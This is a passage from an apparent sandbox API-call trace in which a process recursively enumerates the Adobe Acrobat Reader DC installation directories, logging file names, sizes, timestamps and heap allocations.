hHeap=0xc10000) returned 1 [0244.725] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0 [0244.725] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0244.726] GetProcessHeap () returned 0xc10000 [0244.726] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.726] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0244.726] GetProcessHeap () returned 0xc10000 [0244.726] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0244.728] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.728] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0244.728] GetProcessHeap () returned 0xc10000 [0244.728] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0244.729] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.729] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 1 [0244.729] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 0 [0244.729] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0244.730] GetProcessHeap () returned 0xc10000 [0244.730] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.730] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0244.730] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0244.730] GetProcessHeap () returned 0xc10000 [0244.730] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.730] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0244.730] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x56650, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1 [0244.730] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38a84970, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xba2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0244.731] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1 [0244.731] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1 [0244.731] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x168ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0244.731] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0244.731] GetProcessHeap () returned 0xc10000 [0244.731] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0244.737] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.738] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7be63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0244.738] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0244.738] GetProcessHeap () returned 0xc10000 [0244.738] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0244.741] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.741] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb416, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0244.741] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1 [0244.741] GetProcessHeap () returned 0xc10000 [0244.741] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0244.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0244.743] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.743] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0244.743] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMatrix.pmp", cAlternateFileName="DATAMA~1.PMP")) returned 1 [0244.743] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1 [0244.743] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 0 [0244.743] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0244.744] GetProcessHeap () returned 0xc10000 [0244.744] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0244.744] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0244.744] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0244.744] GetProcessHeap () returned 0xc10000 [0244.744] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.744] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0244.745] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1 [0244.745] GetProcessHeap () returned 0xc10000 [0244.745] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0244.746] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.746] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0244.747] GetProcessHeap () returned 0xc10000 [0244.747] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0244.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0244.747] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.747] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0244.747] GetProcessHeap () returned 0xc10000 [0244.748] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0244.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0244.749] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, 